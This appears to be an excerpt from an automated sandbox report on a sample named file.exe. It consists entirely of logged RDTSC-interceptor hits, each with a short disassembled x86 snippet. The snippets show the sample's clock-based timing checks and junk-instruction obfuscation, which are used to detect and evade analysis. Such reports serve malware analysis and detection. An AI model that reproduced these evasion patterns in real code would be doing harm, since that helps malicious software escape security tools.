Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737110 second address: 737169 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3994C2A2DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jmp 00007F3994C2A2DAh 0x00000010 lea eax, dword ptr [ebp+1247AE27h] 0x00000016 push 00000000h 0x00000018 push esi 0x00000019 call 00007F3994C2A2D8h 0x0000001e pop esi 0x0000001f mov dword ptr [esp+04h], esi 0x00000023 add dword ptr [esp+04h], 0000001Dh 0x0000002b inc esi 0x0000002c push esi 0x0000002d ret 0x0000002e pop esi 0x0000002f ret 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 push ebx 0x00000034 jmp 00007F3994C2A2DEh 0x00000039 pop ebx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737169 second address: 714954 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3994CD1DBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jns 00007F3994CD1DCCh 0x00000011 nop 0x00000012 mov ecx, dword ptr [ebp+122D2DDCh] 0x00000018 call dword ptr [ebp+122D297Eh] 0x0000001e push ecx 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73726A second address: 737282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737282 second address: 737287 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737A2E second address: 737A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737BED second address: 737BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737BF8 second address: 737C43 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push edx 0x00000009 mov ecx, eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F3994C2A2DCh 0x00000012 add ah, 0000001Ah 0x00000015 popad 0x00000016 push 00000004h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F3994C2A2D8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov ecx, dword ptr [ebp+122D2138h] 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c jne 00007F3994C2A2D6h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7382FD second address: 738301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738301 second address: 738310 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007F3994C2A2D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73844B second address: 715503 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+1245640Eh], edi 0x00000010 call dword ptr [ebp+122D25C9h] 0x00000016 push eax 0x00000017 push edx 0x00000018 jno 00007F3994CD1DBEh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B75E second address: 76B767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B767 second address: 76B76B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B76B second address: 76B775 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76B775 second address: 76B779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7734F4 second address: 7734F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7734F8 second address: 773515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3994CD1DC5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773515 second address: 773521 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773521 second address: 773531 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3994CD1DB6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 773531 second address: 77354F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jne 00007F3994C2A2DEh 0x0000000e jc 00007F3994C2A2DEh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772237 second address: 772246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3994CD1DB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d pop eax 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772246 second address: 772253 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F3994C2A2D6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772253 second address: 772267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F3994CD1DB6h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772267 second address: 77227F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DAh 0x00000007 jnc 00007F3994C2A2D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7727AE second address: 7727B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7727B2 second address: 7727B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7727B8 second address: 7727BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7727BE second address: 7727C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7727C4 second address: 7727CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772919 second address: 772937 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3994C2A2E4h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772937 second address: 772968 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007F3994CD1DC1h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772968 second address: 77296C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77296C second address: 772992 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F3994CD1DB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F3994CD1DC6h 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771FB9 second address: 771FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771FBF second address: 771FD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F3994CD1DB6h 0x0000000a popad 0x0000000b jne 00007F3994CD1DB8h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771FD6 second address: 771FF1 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3994C2A2D6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d js 00007F3994C2A2E4h 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007F3994C2A2D6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77782C second address: 777834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 777834 second address: 777851 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jc 00007F3994C2A2DCh 0x0000000d jp 00007F3994C2A2D6h 0x00000013 pop edx 0x00000014 push esi 0x00000015 js 00007F3994C2A2F5h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779BF5 second address: 779C12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007F3994CD1DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3994CD1DBFh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779952 second address: 779956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779956 second address: 77995C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77995C second address: 779970 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779970 second address: 779982 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F3994CD1DCAh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 779982 second address: 77998C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F3994C2A2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C9F0 second address: 77C9F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C9F4 second address: 77C9FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78318C second address: 7831BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DC8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jbe 00007F3994CD1DB6h 0x00000013 pushad 0x00000014 popad 0x00000015 jns 00007F3994CD1DB6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7831BB second address: 7831C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7831C1 second address: 7831C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7831C7 second address: 7831CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781BC0 second address: 781BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3994CD1DC9h 0x0000000c jmp 00007F3994CD1DC0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 781BF0 second address: 781BF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782021 second address: 782047 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F3994CD1DB8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821D1 second address: 7821DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F3994C2A2D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7821DB second address: 782204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007F3994CD1DB6h 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F3994CD1DB6h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782204 second address: 782223 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737DFF second address: 737E05 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737E05 second address: 737E93 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3994C2A2D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F3994C2A2D8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 mov dword ptr [ebp+1244BE80h], edx 0x0000002f mov ebx, dword ptr [ebp+1247AE66h] 0x00000035 pushad 0x00000036 mov dword ptr [ebp+122D3A03h], edi 0x0000003c mov dword ptr [ebp+122D2852h], ebx 0x00000042 popad 0x00000043 add eax, ebx 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F3994C2A2D8h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 0000001Dh 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov edi, dword ptr [ebp+12445C27h] 0x00000065 mov edx, dword ptr [ebp+122D2B34h] 0x0000006b nop 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F3994C2A2DAh 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737E93 second address: 737EF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994CD1DC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b jmp 00007F3994CD1DBAh 0x00000010 nop 0x00000011 pushad 0x00000012 mov ebx, dword ptr [ebp+122D2DE0h] 0x00000018 sbb si, 65EBh 0x0000001d popad 0x0000001e push 00000004h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F3994CD1DB8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Ah 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a mov ecx, edi 0x0000003c push eax 0x0000003d push ecx 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737EF0 second address: 737EF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782535 second address: 782540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3994CD1DB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782540 second address: 782545 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787DA2 second address: 787DB2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jo 00007F3994CD1DB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787DB2 second address: 787DCA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787DCA second address: 787DD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787DD0 second address: 787DE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3994C2A2E3h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787062 second address: 787066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787066 second address: 787071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787071 second address: 78708B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3994CD1DC5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787206 second address: 787217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jo 00007F3994C2A2DCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787217 second address: 78721D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78721D second address: 787223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787223 second address: 787227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874ED second address: 7874FD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3994C2A2D8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7874FD second address: 787524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F3994CD1DC9h 0x0000000d popad 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787524 second address: 787535 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3994C2A2DAh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787535 second address: 787539 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7877E4 second address: 7877EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7877EA second address: 7877F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7877F0 second address: 787814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F3994C2A2EEh 0x0000000c jmp 00007F3994C2A2E8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787814 second address: 78781E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3994CD1DC2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78781E second address: 787824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787824 second address: 787834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F3994CD1DBAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787965 second address: 78797B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jng 00007F3994C2A2E2h 0x0000000e jnp 00007F3994C2A2D6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78ABD1 second address: 78ABD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78ABD5 second address: 78ABDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A40A second address: 78A40E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A40E second address: 78A41A instructions: 0x00000000 rdtsc 0x00000002 js 00007F3994C2A2D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 790043 second address: 79004D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F3994CD1DB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79004D second address: 79005A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79005A second address: 790061 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
